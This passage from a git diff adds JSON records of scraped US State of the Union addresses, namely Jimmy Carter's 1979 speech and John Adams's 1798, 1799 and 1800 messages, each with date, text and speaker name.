world.Together let us make of this time of challenge and danger a decade of\nnational resolve and of brave achievement.Thank you very much.", 
+    "name": "Jimmy Carter"
+}
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+{
+    "date": "January 25, 1979", 
+    "speech": "Tonight I want to examine in a broad sense the state of our American\nUnion--how we are building a new foundation for a peaceful and a prosperous\nworld.Our children who will be born this year will come of age in the 21st\ncentury. What kind of society, what kind of world are we building for them?\nWill we ourselves be at peace? Will our children enjoy a better quality of\nlife? Will a strong and united America still be a force for freedom and\nprosperity around the world?Tonight, there is every sign that the state of our Union is sound.Our economy offers greater prosperity for more of our people than ever\nbefore. Real per capita income and real business profits have risen\nsubstantially in the last 2 years. Farm exports are setting an all-time\nrecord each year, and farm income last year, net farm income, was up more\nthan 25 percent.Our liberties are secure. Our military defenses are strong and growing\nstronger. And more importantly, tonight, America--our beloved country--is\nat peace.Our earliest national commitments, modified and reshaped by succeeding\ngenerations, have served us well. But the problems that we face today are\ndifferent from those that confronted earlier generations of Americans. They\nare more subtle, more complex, and more interrelated. At home, we are\nrecognizing ever more clearly that government alone cannot solve these\nproblems. And abroad, few of them can be solved by the United States alone.\nBut Americans as a united people, working with our allies and friends, have\nnever been afraid to face problems and to solve problems, either here or\nabroad.The challenge to us is to build a new and firmer foundation for the\nfuture--for a sound economy, for a more effective government, for more\npolitical trust, and for a stable peace--so that the America our children\ninherit will be even stronger and even better than it is today.We cannot resort to simplistic or extreme solutions which substitute myths\nfor common sense.In our economy, it is a myth that we must choose endlessly between\ninflation and recession. Together, we build the foundation for a strong\neconomy, with lower inflation, without contriving either a recession with\nits high unemployment or unworkable, mandatory government controls.In our government, it is a myth that we must choose between compassion and\ncompetence. Together, we build the foundation for a government that works,\nand works for people.In our relations with our potential adversaries, it is a myth that we must\nchoose between confrontation and capitulation. Together, we build the\nfoundation for a stable world of both diversity and peace.Together, we've already begun to build the foundation for confidence in our\neconomic system. During the last 2 years, in bringing our economy out of\nthe deepest recession since the 1930's, we've created 7,100,000 new jobs.\nThe unemployment rate has gone down 25 percent. And now we must redouble\nour fight against the persistent inflation that has wracked our country for\nmore than a decade. That's our important domestic issue, and we must do it\ntogether.We know that inflation is a burden for all Americans, but it's a disaster\nfor the poor, the sick, and the old. No American family should be forced to\nchoose among food, warmth, health care, or decent housing because the cost\nof any of these basic necessities has climbed out of reach.Three months ago, I outlined to the Nation a balanced anti-inflation\nprogram that couples responsible government restraint with responsible wage\nand price restraint. It's based upon my knowledge that there is a more\npowerful force than government compulsion--the force created by the\ncooperative efforts of millions of Americans working toward a common goal.Business and labor have been increasingly supportive. It's imperative that\nwe in government do our part. We must stop excessive government growth, and\nwe must control government spending habits.I've sent to this Congress a stringent but a fair budget, one that, since I\nran for President in 1976, will have cut the Federal deficit in half. And\nas a percentage of our gross national product, the deficit will have\ndropped by almost 75 percent.This Congress had a good record last year, and I now ask the 96th Congress\nto continue this partnership in holding the line on excess Federal\nspending. It will not be easy. But we must be strong, and we must be\npersistent.This budget is a clear message that, with the help of you and the American\npeople, I am determined, as President, to bring inflation under control.The 1980 budget provides enough spending restraint to begin unwinding\ninflation, but enough support for our country to keep American workers\nproductive and to encourage the investments that provide new jobs. We will\ncontinue to mobilize our Nation's resources to reduce our trade deficit\nsubstantially this year and to maintain the strength of the American\ndollar.We've demonstrated in this restrained budget that we can build on the gains\nof the past 2 years to provide additional support to educate disadvantaged\nchildren, to care for the elderly, to provide nutrition and legal services\nfor the poor, and to strengthen the economic base of our urban communities\nand, also, our rural areas.This year, we will take our first steps to develop a national health plan.We must never accept a permanent group of unemployed Americans, with no\nhope and no stake in building our society. For those left out of the\neconomy because of discrimination, a lack of skills, or poverty, we must\nmaintain high levels of training, and we must continue to provide jobs.A responsible budget is not our only weapon to control inflation. We must\nact now to protect all Americans from health care costs that are rising $1\nmillion per hour, 24 hours a day, doubling every 5 years. We must take\ncontrol of the largest contributor to that inflation: skyrocketing hospital\ncosts.There will be no clearer test of the commitment of this Congress to the\nanti-inflation fight than the legislation that I will submit again this\nyear to hold down inflation in hospital care.Over the next 5 years, my proposals will save Americans a total of $60\nbillion, of which $25 billion will be savings to the American taxpayer in\nthe Federal budget itself. The American people have waited long enough.\nThis year we must act on hospital cost containment.We must also fight inflation by improvements and better enforcement of our\nantitrust laws and by reducing government obstacles to competition in the\nprivate sector.We must begin to scrutinize the overall effect of regulation in our\neconomy. Through deregulation of the airline industry we've increased\nprofits, cut prices for all Americans, and begun--for one of the few times\nin the history of our Nation--to actually dismantle a major Federal\nbureaucracy. This year, we must begin the effort to reform our regulatory\nprocesses for the railroad, bus, and the trucking industries.America has the greatest economic system in the world. Let's reduce\ngovernment interference and give it a chance to work.I call on Congress to take other anti-inflation action--to expand our\nexports to protect American jobs threatened by unfair trade, to conserve\nenergy, to increase production and to speed development of solar power, and\nto reassess our Nation's technological superiority. American workers who\nenlist in the fight against inflation deserve not just our gratitude, but\nthey deserve the protection of the real wage insurance proposal that I have\nalready made to the Congress.To be successful, we must change our attitudes as well as our policies. We\ncannot afford to live beyond our means. We cannot afford to create programs\nthat we can neither manage nor finance, or to waste our natural resources,\nand we cannot tolerate mismanagement and fraud. Above all, we must meet the\nchallenges of inflation as a united people.With the support of the American people, government in recent decades has\nhelped to dismantle racial barriers, has provided assistance for the\njobless and the retired, has fed the hungry, has protected the safety,\nhealth, and bargaining rights of American workers, and has helped to\npreserve our natural heritage.But it's not enough to have created a lot of government programs. Now we\nmust make the good programs more effective and improve or weed out those\nwhich are wasteful or unnecessary.With the support of the Congress, we've begun to reorganize and to get\ncontrol of the bureaucracy. We are reforming the civil service system, so\nthat we can recognize and reward those who do a good job and correct or\nremove those who do not.This year, we must extend major reorganization efforts to education, to\neconomic development, and to the management of our natural resources. We\nneed to enact a sunshine [sunset] law that when government programs have\noutlived their value, they will automatically be terminated.There's no such thing as an effective and a noncontroversial reorganization\nand reform. But we know that honest, effective government is essential to\nrestore public faith in our public action.None of us can be satisfied when two-thirds of the American citizens chose\nnot to vote last year in a national election. Too many Americans feel\npowerless against the influence of private lobbying groups and the\nunbelievable flood of private campaign money which threatens our electoral\nprocess.This year, we must regain the public's faith by requiring limited financial\nfunds from public funds for congressional election campaigns. House bill 1\nprovides for this public financing of campaigns. And I look forward with a\ngreat deal of anticipation to signing it at an early date.A strong economy and an effective government will restore confidence in\nAmerica. But the path of the future must be charted in peace. We must\ncontinue to build a new and a firm foundation for a stable world\ncommunity.We are building that new foundation from a position of national\nstrength--the strength of our own defenses, the strength of our friendships\nwith other nations, and of our oldest American ideals.America's military power is a major force for security and stability in the\nworld. We must maintain our strategic capability and continue the progress\nof the last 2 years with our NATO Allies, with whom we have increased our\nreadiness, modernized our equipment, and strengthened our defense forces in\nEurope. I urge you to support the strong defense budget which I have\nproposed to the Congress.But our national security in this complicated age requires more than just\nmilitary might. In less than a lifetime, world population has more than\ndoubled, colonial empires have disappeared, and a hundred new nations have\nbeen born, and migration to the world's cities have all awakened new\nyearnings for economic justice and human rights among people everywhere.This demand for justice and human rights is a wave of the future. In such a\nworld, the choice is not which super power will dominate the world. None\ncan and none will. The choice instead is between a world of anarchy and\ndestruction, or a world of cooperation and peace.In such a world, we seek not to stifle inevitable change, but to influence\nits course in helpful and constructive ways that enhance our values, our\nnational interests, and the cause of peace.Towering over this volatile, changing world, like a thundercloud on a\nsummer day, looms the awesome power of nuclear weapons.We will continue to help shape the forces of change, to anticipate emerging\nproblems of nuclear proliferation and conventional arms sales, and to use\nour great strength parts of the world before they erupt and spread.We have no desire to be the world's policeman. But America does want to be\nthe world's peacemaker.We are building the foundation for truly global cooperation, not only with\nWestern and industrialized nations but with the developing countries as\nwell. Our ties with Japan and our European allies are stronger than ever,\nand so are our friendly relations with the people of Latin America, Africa,\nand the Western Pacific and Asia.We've won new respect in this hemisphere with the Panama Canal treaties.\nWe've gained new trust with the developing world through our opposition to\nracism, our commitment to human rights, and our support for majority rule\nin Africa.The multilateral trade negotiations are now reaching a successful\nconclusion, and congressional approval is essential to the economic\nwell-being of our own country and of the world. This will be one of our top\npriorities in 1979.We are entering a hopeful era in our relations with one-fourth of the\nworld's people who live in China. The presence of Vice Premier Deng\nXiaoping next week will help to inaugurate that new era. And with prompt\ncongressional action on authorizing legislation, we will continue our\ncommitment to a prosperous, peaceful, and secure life for the people of\nTaiwan.I'm grateful that in the past year, as in the year before, no American has\ndied in combat anywhere in the world. And in Iran, Nicaragua, Cyprus,\nNamibia, and Rhodesia, our country is working for peaceful solutions to\ndangerous conflicts.In the Middle East, under the most difficult circumstances, we have sought\nto help ancient enemies lay aside deep-seated differences that have\nproduced four bitter wars in our lifetime.Our firm commitment to Israel's survival and security is rooted in our\ndeepest convictions and in our knowledge of the strategic importance to our\nown Nation of a stable Middle East. To promote peace and reconciliation in\nthe region, we must retain the trust and the confidence both of Israel and\nalso of the Arab nations that are sincerely searching for peace.I am determined, as President, to use the full, beneficial influence of our\ncountry so that the precious opportunity for lasting peace between Israel\nand Egypt will not be lost.The new foundation of international cooperation that we seek excludes no\nnation. Cooperation with the Soviet Union serves the cause of peace, for in\nthis nuclear age, world peace must include peace between the super\npowers--and it must mean the control of nuclear arms.Ten years ago, the United States and the Soviet Union made the historic\ndecision to open the strategic arms limitations talks, or SALT. The purpose\nof SALT, then as now, is not to gain a unilateral advantage for either\nnation, but to protect the security of both nations, to reverse the costly\nand dangerous momentum of the nuclear arms race, to preserve a stable\nbalance of nuclear forces, and to demonstrate to a concerned world that we\nare determined to help preserve the peace.The first SALT agreement was concluded in 1972. And since then, during 6\nyears of negotiation by both Republican and Democratic leaders, nearly all\nissues of SALT II have been resolved. If the Soviet Union continues to\nnegotiate in good faith, a responsible SALT agreement will be reached.It's important that the American people understand the nature of the SALT\nprocess.SALT II is not based on sentiment; it's based on self-interest--of the\nUnited States and of the Soviet Union. Both nations share a powerful common\ninterest in reducing the threat of a nuclear war. I will sign no agreement\nwhich does not enhance our national security.SALT II does not rely on trust; it will be verifiable. We have very\nsophisticated, proven means, including our satellites, to determine for\nourselves whether or not the Soviet Union is meeting its treaty\nobligations. I will sign no agreement which cannot be verified.The American nuclear deterrent will remain strong after SALT II. For\nexample, just one of our relatively invulnerable Poseidon\nsubmarines--comprising less than 2 percent of our total nuclear force of\nsubmarines, aircraft, and land-based missiles--carries enough warheads to\ndestroy every large- and medium-sized city in the Soviet Union. Our\ndeterrent is overwhelming, and I will sign no agreement unless our deterrent\nforce will remain overwhelming.A SALT agreement, of course, cannot substitute for wise diplomacy or a\nstrong defense, nor will it end the danger of nuclear war. But it will\ncertainly reduce that danger. It will strengthen our efforts to ban nuclear\ntests and to stop the spread of atomic weapons to other nations. And it can\nbegin the process of negotiating new agreements which will further limit\nnuclear arms.The path of arms control, backed by a strong defense, the path our Nation\nand every President has walked for 30 years, can lead to a world of law and\nof international negotiation and consultation in which all peoples might\nlive in peace. In this year 1979, nothing is more important than that the\nCongress and the people of the United States resolve to continue with me on\nthat path of nuclear arms control and world peace. This is paramount.I've outlined some of the changes that have transformed the world and which\nare continuing as we meet here tonight. But we in America need not fear\nchange. The values on which our Nation was founded: individual liberty,\nself-determination, the potential for human fulfillment in freedom, all of\nthese endure. We find these democratic principles praised, even in books\nsmuggled out of totalitarian nations and on wallposters in lands which we\nthought were closed to our influence. Our country has regained its special\nplace of leadership in the worldwide struggle for human rights. And that is\na commitment that we must keep at home, as well as abroad.The civil rights revolution freed all Americans, black and white, but its\nfull promise still remains unrealized. I will continue to work with all my\nstrength for equal opportunity for all Americans--and for affirmative\naction for those who carry the extra burden of past denial of equal\nopportunity.We remain committed to improving our labor laws to better protect the\nrights of American workers. And our Nation must make it clear that the\nlegal rights of women as citizens are guaranteed under the laws of our land\nby ratifying the equal rights amendment.As long as I'm President, at home and around the world America's examples\nand America's influence will be marshaled to advance the cause of human\nrights.To establish those values, two centuries ago a bold generation of Americans\nrisked their property, their position, and life itself. We are their heirs,\nand they are sending us a message across the centuries. The words they made\nso vivid are now growing faintly indistinct, because they are not heard\noften enough. They are words like \"justice,\" \"equality,\" \"unity,\" \"truth,\"\n\"sacrifice,\" \"liberty,\" \"faith,\" and \"love.\"These words remind us that the duty of our generation of Americans is to\nrenew our Nation's faith, not focused just against foreign threats but\nagainst the threats of selfishness, cynicism, and apathy.The new foundation I've discussed tonight can help us build a nation and a\nworld where every child is nurtured and can look to the future with hope,\nwhere the resources now wasted on war can be turned towards meeting human\nneeds, where all people have enough to eat, a decent home, and protection\nagainst disease.It can help us build a nation and a world where all people are free to seek\nthe truth and to add to human understanding, so that all of us may live our\nlives in peace.Tonight, I ask you, the Members of the Congress, to join me in building\nthat new foundation, a better foundation, for our beloved country and our\nworld.Thank you very much.", 
+    "name": "Jimmy Carter"
+}
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+{
+    "date": "December 3, 1799", 
+    "speech": "Gentlemen of the Senate and Gentlemen of the House of Representatives:It is with peculiar satisfaction that I meet the 6th Congress of the United\nStates of America. Coming from all parts of the Union at this critical and\ninteresting period, the members must be fully possessed of the sentiments\nand wishes of our constituents.The flattering prospects of abundance from the labors of the people by land\nand by sea; the prosperity of our extended commerce, notwithstanding\ninterruptions occasioned by the belligerent state of a great part of the\nworld; the return of health, industry, and trade to those cities which have\nlately been afflicted with disease, and the various and inestimable\nadvantages, civil and religious, which, secured under our happy frame of\ngovernment, are continued to us unimpaired, demand of the whole American\npeople sincere thanks to a benevolent Deity for the merciful dispensations\nof His providence.But while these numerous blessings are recollected, it is a painful duty to\nadvert to the ungrateful return which has been made for them by some of the\npeople in certain counties of Pennsylvania, where, seduced by the arts and\nmisrepresentations of designing men, they have openly resisted the law\ndirecting the valuation of houses and lands. Such defiance was given to the\ncivil authority as rendered hopeless all further attempts by judicial\nprocess to enforce the execution of the law, and it became necessary to\ndirect a military force to be employed, consisting of some companies of\nregular troops, volunteers, and militia, by whose zeal and activity, in\ncooperation with the judicial power, order and submission were restored and\nmany of the offenders arrested. Of these, some have been convicted of\nmisdemeanors, and others, charged with various crimes, remain to be tried.To give due effect to the civil administration of Government and to insure\na just execution of the laws, a revision and amendment of the judiciary\nsystem is indispensably necessary. In this extensive country it can not but\nhappen that numerous questions respecting the interpretation of the laws\nand the rights and duties of officers and citizens must arise. On the one\nhand, the laws should be executed; on the other, individuals should be\nguarded from oppression. Neither of these objects is sufficiently assured\nunder the present organization of the judicial department. I therefore\nearnestly recommend the subject to your serious consideration.Persevering in the pacific and humane policy which had been invariably\nprofessed and sincerely pursued by the Executive authority of the United\nStates, when indications were made on the part of the French Republic of a\ndisposition to accommodate the existing differences between the two\ncountries, I felt it to be my duty to prepare for meeting their advances by\na nomination of ministers upon certain conditions which the honor of our\ncountry dictated, and which its moderation had given it a right to\nprescribe.The assurances which were required of the French Government previous to the\ndeparture of our envoys have been given through their minister of foreign\nrelations, and I have directed them to proceed on their mission to Paris.\nThey have full power to conclude a treaty, subject to the constitutional\nadvice and consent of the Senate. The characters of these gentlemen are\nsure pledges to their country that nothing incompatible with its honor or\ninterest, nothing inconsistent with our obligations of good faith or\nfriendship to any other nation, will be stipulated.It appearing probable from the information I received that our commercial\nintercourse with some ports in the island of St. Domingo might safely be\nrenewed, I took such steps as seemed to me expedient to ascertain that\npoint. The result being satisfactory, I then, in conformity with the act of\nCongress on the subject, directed the restraints and prohibitions of that\nintercourse to be discontinued on terms which were made known by\nproclamation. Since the renewal of this intercourse our citizens trading to\nthose ports, with their property, have been duly respected, and\nprivateering from those ports has ceased.In examining the claims of British subjects by the commissioners at\nPhiladelphia, acting under the 6th article of the treaty of amity,\ncommerce, and navigation with Great Britain, a difference of opinion on\npoints deemed essential in the interpretation of that article has arisen\nbetween the commissioners appointed by the United States and the other\nmembers of that board, from which the former have thought it their duty to\nwithdraw. It is sincerely to be regretted that the execution of an article\nproduced by a mutual spirit of amity and justice should have been thus\nunavoidably interrupted. It is, however, confidently expected that the same\nspirit of amity and the same sense of justice in which it originated will\nlead to satisfactory explanations.In consequence of the obstacles to the progress of the commission in\nPhiladelphia, His Britannic Majesty has directed the commissioners\nappointed by him under the 7th article of the treaty relating to the\nBritish captures of American vessels to withdraw from the board sitting in\nLondon, but with the express declaration of his determination to fulfill\nwith punctuality and good faith the engagements which His Majesty has\ncontracted by his treaty with the United States, and that they will be\ninstructed to resume their functions whenever the obstacles which impede\nthe progress of the commission at Philadelphia shall be removed. It being\nin like manner my sincere determination, so far as the same depends on me,\nthat with equal punctuality and good faith the engagements contracted by\nthe United States in their treaties with His Britannic Majesty shall be\nfulfilled, I shall immediately instruct our minister at London to endeavor\nto obtain the explanation necessary to a just performance of those\nengagements on the part of the United States. With such dispositions on\nboth sides, I can not entertain a doubt that all difficulties will soon be\nremoved and that the two boards will then proceed and bring the business\ncommitted to them respectively to a satisfactory conclusion.The act of Congress relative to the seat of the Government of the United\nStates requiring that on the 1st Monday of December next it should be\ntransferred from Philadelphia to the District chosen for its permanent\nseat, it is proper for me to inform you that the commissioners appointed to\nprovide suitable buildings for the accommodation of Congress and of the\nPresident and of the public offices of the Government have made a report of\nthe state of the buildings designed for those purposes in the city of\nWashington, from which they conclude that the removal of the seat of\nGovernment to that place at the time required will be practicable and the\naccommodation satisfactory. Their report will be laid before you.Gentlemen of the House of Representatives:I shall direct the estimates of the appropriations necessary for the\nservice of the ensuing year, together with an account of the revenue and\nexpenditure, to be laid before you. During a period in which a great\nportion of the civilized world has been involved in a war unusually\ncalamitous and destructive, it was not to be expected that the United\nStates could be exempted from extraordinary burthens. Although the period\nis not arrived when the measures adopted to secure our country against\nforeign attacks can be renounced, yet it is alike necessary for the honor\nof the Government and the satisfaction of the community that an exact\neconomy should be maintained. I invite you, gentlemen, to investigate the\ndifferent branches of the public expenditure. The examination will lead to\nbeneficial retrenchments or produce a conviction of the wisdom of the\nmeasures to which the expenditure relates.Gentlemen of the Senate and Gentlemen of the House of Representatives:At a period like the present, when momentous changes are occurring and\nevery hour is preparing new and great events in the political world, when a\nspirit of war is prevalent in almost every nation with whose affairs the\ninterests of the United States have any connection, unsafe and precarious\nwould be our situation were we to neglect the means of maintaining our just\nrights. The result of the mission to France is uncertain; but however it\nmay terminate, a steady perseverance in a system of national defense\ncommensurate with our resources and the situation of our country is an\nobvious dictate of wisdom; for, remotely as we are placed from the\nbelligerent nations, and desirous as we are, by doing justice to all, to\navoid offense to any, nothing short of the power of repelling aggressions\nwill secure to our country a rational prospect of escaping the calamities\nof war or national degradation. As to myself, it is my anxious desire so to\nexecute the trust reposed in me as to render the people of the United\nStates prosperous and happy. I rely with entire confidence on your\ncooperation in objects equally your care, and that our mutual labors will\nserve to increase and confirm union among our fellow citizens and an\nunshaken attachment to our Government.", 
+    "name": "John Adams"
+}
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+{
+    "date": "December 8, 1798", 
+    "speech": "Gentlemen of the Senate and Gentlemen of the House of Representatives:While with reverence and resignation we contemplate the dispensations of\nDivine Providence in the alarming and destructive pestilence with which\nseveral of our cities and towns have been visited, there is cause for\ngratitude and mutual congratulations that the malady has disappeared and\nthat we are again permitted to assemble in safety at the seat of Government\nfor the discharge of our important duties. But when we reflect that this\nfatal disorder has within a few years made repeated ravages in some of our\nprincipal sea ports, and with increased malignancy, and when we consider\nthe magnitude of the evils arising from the interruption of public and\nprivate business, whereby the national interests are deeply affected, I\nthink it my duty to invite the Legislature of the Union to examine the\nexpediency of establishing suitable regulations in aid of the health laws\nof the respective States; for these being formed on the idea that\ncontagious sickness may be communicated through the channels of commerce,\nthere seems to be a necessity that Congress, who alone can regulate trade,\nshould frame a system which, while it may tend to preserve the general\nhealth, may be compatible with the interests of commerce and the safety of\nthe revenue.While we think on this calamity and sympathize with the immediate\nsufferers, we have abundant reason to present to the Supreme Being our\nannual oblations of gratitude for a liberal participation in the ordinary\nblessings of His providence. To the usual subjects of gratitude I can not\nomit to add one of the first importance to our well being and safety; I mean\nthat spirit which has arisen in our country against the menaces and\naggression of a foreign nation. A manly sense of national honor, dignity,\nand independence has appeared which, if encouraged and invigorated by every\nbranch of the Government, will enable us to view undismayed the enterprises\nof any foreign power and become the sure foundation of national prosperity\nand glory.The course of the transactions in relation to the United States and France\nwhich have come to my knowledge during your recess will be made the subject\nof a future communication. That communication will confirm the ultimate\nfailure of the measures which have been taken by the Government of the\nUnited States toward an amicable adjustment of differences with that power.\nYou will at the same time perceive that the French Government appears\nsolicitous to impress the opinion that it is averse to a rupture with this\ncountry, and that it has in a qualified manner declared itself willing to\nreceive a minister from the United States for the purpose of restoring a\ngood understanding. It is unfortunate for professions of this kind that\nthey should be expressed in terms which may countenance the inadmissible\npretension of a right to prescribe the qualifications which a minister from\nthe United States should possess, and that while France is asserting the\nexistence of a disposition on her part to conciliate with sincerity the\ndifferences which have arisen, the sincerity of a like disposition on the\npart of the United States, of which so many demonstrative proofs have been\ngiven, should even be indirectly questioned.It is also worthy of observation that the decree of the Directory alleged\nto be intended to restrain the depredations of French cruisers on our\ncommerce has not given, and can not give, any relief. It enjoins them to\nconform to all the laws of France relative to cruising and prizes, while\nthese laws are themselves the sources of the depredations of which we have\nso long, so justly, and so fruitlessly complained.The law of France enacted in January last, which subjects to capture and\ncondemnation neutral vessels and their cargoes if any portion of the latter\nare of British fabric or produce, although the entire property belong to\nneutrals, instead of being rescinded has lately received a confirmation by\nthe failure of a proposition for its repeal. While this law, which is an\nunequivocal act of war on the commerce of the nations it attacks, continues\nin force those nations can see in the French Government only a power\nregardless of their essential rights, of their independence and\nsovereignty; and if they possess the means they can reconcile nothing with\ntheir interest and honor but a firm resistance.Hitherto, therefore, nothing is discoverable in the conduct of France which\nought to change or relax our measures of defense. On the contrary, to\nextend and invigorate them is our true policy. We have no reason to regret\nthat these measures have been thus far adopted and pursued, and in\nproportion as we enlarge our view of the portentous and incalculable\nsituation of Europe we shall discover new and cogent motives for the full\ndevelopment of our energies and resources.But in demonstrating by our conduct that we do not fear war in the\nnecessary protection of our rights and honor we shall give no room to infer\nthat we abandon the desire of peace. An efficient preparation for war can\nalone insure peace. It is peace that we have uniformly and perseveringly\ncultivated, and harmony between us and France may be restored at her\noption. But to send another minister without more determinate assurances\nthat he would be received would be an act of humiliation to which the\nUnited States ought not to submit. It must therefore be left with France\n(if she is indeed desirous of accommodation) to take the requisite steps.The United States will steadily observe the maxims by which they have\nhitherto been governed. They will respect the sacred rights of embassy; and\nwith a sincere disposition on the part of France to desist from hostility,\nto make reparation for the injuries heretofore inflicted on our commerce,\nand to do justice in future, there will be no obstacle to the restoration\nof a friendly intercourse.In making to you this declaration I give a pledge to France and the world\nthat the Executive authority of this country still adheres to the humane\nand pacific policy which has invariably governed its proceedings, in\nconformity with the wishes of the other branches of the Government and of\nthe people of the United States. But considering the late manifestations of\nher policy toward foreign nations, I deem it a duty deliberately and\nsolemnly to declare my opinion that whether we negotiate with her or not,\nvigorous preparations for war will be alike indispensable. These alone will\ngive to us an equal treaty and insure its observance.Among the measures of preparation which appear expedient, I take the\nliberty to recall your attention to the naval establishment. The beneficial\neffects of the small naval armament provided under the acts of the last\nsession are known and acknowledged. Perhaps no country ever experienced\nmore sudden and remarkable advantages from any measure of policy than we\nhave derived from the arming for our maritime protection and defense.We ought without loss of time to lay the foundation for an increase of our\nNavy to a size sufficient to guard our coast and protect our trade. Such a\nnaval force as it is doubtless in the power of the United States to create\nand maintain would also afford to them the best means of general defense by\nfacilitating the safe transportation of troops and stores to every part of\nour extensive coast. To accomplish this important object, a prudent\nforesight requires that systematic measures be adopted for procuring at all\ntimes the requisite timber and other supplies. In what manner this shall be\ndone I leave to your consideration.I will now advert, gentlemen, to some matters of less moment, but proper to\nbe communicated to the National Legislature.After the Spanish garrisons had evacuated the posts they occupied at the\nNatchez and Walnut Hills the commissioner of the United States commences\nhis observations to ascertain the point near the Mississippi which\nterminated the northernmost part of the 31st degree of north latitude. From\nthence he proceeded to run the boundary line between the United States and\nSpain. He was afterwards joined by the Spanish commissioner, when the work\nof the former was confirmed, and they proceeded together to the demarcation\nof the line.Recent information renders it probable that the Southern Indians, either\ninstigated to oppose the demarcation or jealous of the consequences of\nsuffering white people to run a line over lands to which the Indian title\nhad not been extinguished, have ere this time stopped the progress of the\ncommissioners; and considering the mischiefs which may result from\ncontinuing the demarcation in opposition to the will of the Indian tribes,\nthe great expense attending it, and that the boundaries which the\ncommissioners have actually established probably extend at least as far as\nthe Indian title has been extinguished, it will perhaps become expedient\nand necessary to suspend further proceedings by recalling our\ncommissioner.The commissioners appointed in pursuance of the 5th article of the treaty\nof amity, commerce, and navigation between the United States and His\nBritannic Majesty to determine what river was truly intended under the name\nof the river St. Croix mentioned in the treaty of peace, and forming a part\nof the boundary therein described, have finally decided that question. On\nthe 25th of October they made their declaration that a river called\nScoodiac, which falls into Passamaquoddy Bay at its northwestern quarter,\nwas the true St. Croix intended in the treaty of peace, as far as its great\nfork, where one of its streams comes from the westward and the other from\nthe northward, and that the latter stream is the continuation of the St.\nCroix to its source.This decision, it is understood, will preclude all contention among the\nindividual claimants, as it seems that the Scoodiac and its northern branch\nbound the grants of land which have been made by the respective adjoining\nGovernments.A subordinate question, however, it has been suggested, still remains to be\ndetermined. Between the mouth of the St. Croix as now settled and what is\nusually called the Bay of Fundy lie a number of valuable islands. The\ncommissioners have not continued the boundary line through any channel of\nthese islands, and unless the bay of Passamaquoddy be a part of the Bay of\nFundy this further adjustment of boundary will be necessary, but it is\napprehended that this will not be a matter of any difficulty.Such progress has been made in the examination and decision of cases of\ncaptures and condemnations of American vessels which were the subject of\nthe 7th article of the treaty of amity, commerce, and navigation between\nthe United States and Great Britain that it is supposed the commissioners\nwill be able to bring their business to a conclusion in August of the\nensuing year.The commissioners acting under the 25th article of the treaty between the\nUnited States and Spain have adjusted most of the claims of our citizens\nfor losses sustained in consequence of their vessels and cargoes having\nbeen taken by the subjects of His Catholic Majesty during the late war\nbetween France and Spain.Various circumstances have concurred to delay the execution of the law for\naugmenting the military establishment, among these the desire of obtaining\nthe fullest information to direct the best selection of officers. As this\nobject will now be speedily accomplished, it is expected that the raising\nand organizing of the troops will proceed without obstacle and with\neffect.Gentlemen of the House of Representatives:I have directed an estimate of the appropriations which will be necessary\nfor the service of the ensuing year to be laid before you, accompanied with\na view of the public receipts and expenditures to a recent period.It will afford you satisfaction to infer the great extent and solidity of\nthe public resources from the prosperous state of the finances,\nnotwithstanding the unexampled embarrassments which have attended commerce.\nWhen you reflect on the conspicuous examples of patriotism and liberality\nwhich have been exhibited by our mercantile fellow citizens, and how great\na proportion of the public resources depends on their enterprise, you will\nnaturally consider whether their convenience can not be promoted and\nreconciled with the security of the revenue by a revision of the system by\nwhich the collection is at present regulated.During your recess measures have been steadily pursued for effecting the\nvaluations and returns directed by the act of the last session, preliminary\nto the assessment and collection of a direct tax. No other delays or\nobstacles have been experienced except such as were expected to arise from\nthe great extent of our country and the magnitude and novelty of the\noperation, and enough has been accomplished to assure a fulfillment of the\nviews of the Legislature.Gentlemen of the Senate and Gentlemen of the House of Representatives:I can not close this address without once more adverting to our political\nsituation and inculcating the essential importance of uniting in the\nmaintenance of our dearest interests; and I trust that by the temper and\nwisdom of your proceedings and by a harmony of measures we shall secure to\nour country that weight and respect to which it is so justly entitled.", 
+    "name": "John Adams"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/John AdamsNovember 11, 1800.json b/pyscrapper/stateofunion/ScrapedData/John AdamsNovember 11, 1800.json
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+{
+    "date": "November 11, 1800", 
+    "speech": "Gentlemen of the Senate and Gentlemen of the House of Representatives:Immediately after the adjournment of Congress at their last session in\nPhiladelphia I gave directions, in compliance with the laws, for the\nremoval of the public offices, records, and property. These directions have\nbeen executed, and the public officers have since resided and conducted the\nordinary business of the Government in this place.I congratulate the people of the United States on the assembling of\nCongress at the permanent seat of their Government, and I congratulate you,\ngentlemen, on the prospect of a residence not to be changed. Although there\nis cause to apprehend that accommodations are not now so complete as might\nbe wished, yet there is great reason to believe that this inconvenience\nwill cease with the present session.It would be unbecoming the representatives of this nation to assemble for\nthe first time in this solemn temple without looking up to the Supreme\nRuler of the Universe and imploring His blessing.May this territory be the residence of virtue and happiness! In this city\nmay that piety and virtue, that wisdom and magnanimity, that constancy and\nself-government, which adorned the great character whose name it bears be\nforever held in veneration! Here and throughout our country may simple\nmanners, pure morals, and true religion flourish forever!It is with you, gentlemen, to consider whether the local powers over the\nDistrict of Columbia vested by the Constitution in the Congress of the\nUnited States shall be immediately exercised. If in your opinion this\nimportant trust ought now to be executed, you can not fail while performing\nit to take into view the future probable situation of the territory for the\nhappiness of which you are about to provide. You will consider it as the\ncapital of a great nation advancing with unexampled rapidity in arts, in\ncommerce, in wealth, and in population, and possessing within itself those\nenergies and resources which, if not thrown away or lamentably misdirected,\nwill secure to it a long course of prosperity and self-government.In compliance with a law of the last session of Congress, the officers and\nsoldiers of the temporary army have been discharged. It affords real\npleasure to recollect the honorable testimony they gave of the patriotic\nmotives which brought them into the service of their country, by the\nreadiness and regularity with which they returned to the station of private\ncitizens.It is in every point of view of such primary importance to carry the laws\ninto prompt and faithful execution, and to render that part of the\nadministration of justice which the Constitution and laws devolve on the\nFederal courts as convenient to the people as may consist with their\npresent circumstances, that I can not omit once more to recommend to your\nserious consideration the judiciary system of the United States. No subject\nis more interesting than this to the public happiness, and to none can\nthose improvements which may have been suggested by experience be more\nbeneficially applied.A treaty of amity and commerce with the King of Prussia has been concluded\nand ratified. The ratifications have been exchanged, and I have directed\nthe treaty to be promulgated by proclamation.The difficulties which suspended the execution of the 6th article of our\ntreaty of amity, commerce, and navigation with Great Britain have not yet\nbeen removed. The negotiation on this subject is still depending. As it\nmust be for the interest and honor of both nations to adjust this\ndifference with good faith, I indulge confidently the expectation that the\nsincere endeavors of the Government of the United States to bring it to an\namicable termination will not be disappointed.The envoys extraordinary and ministers plenipotentiary from the United\nStates to France were received by the First Consul with the respect due to\ntheir character, and 3 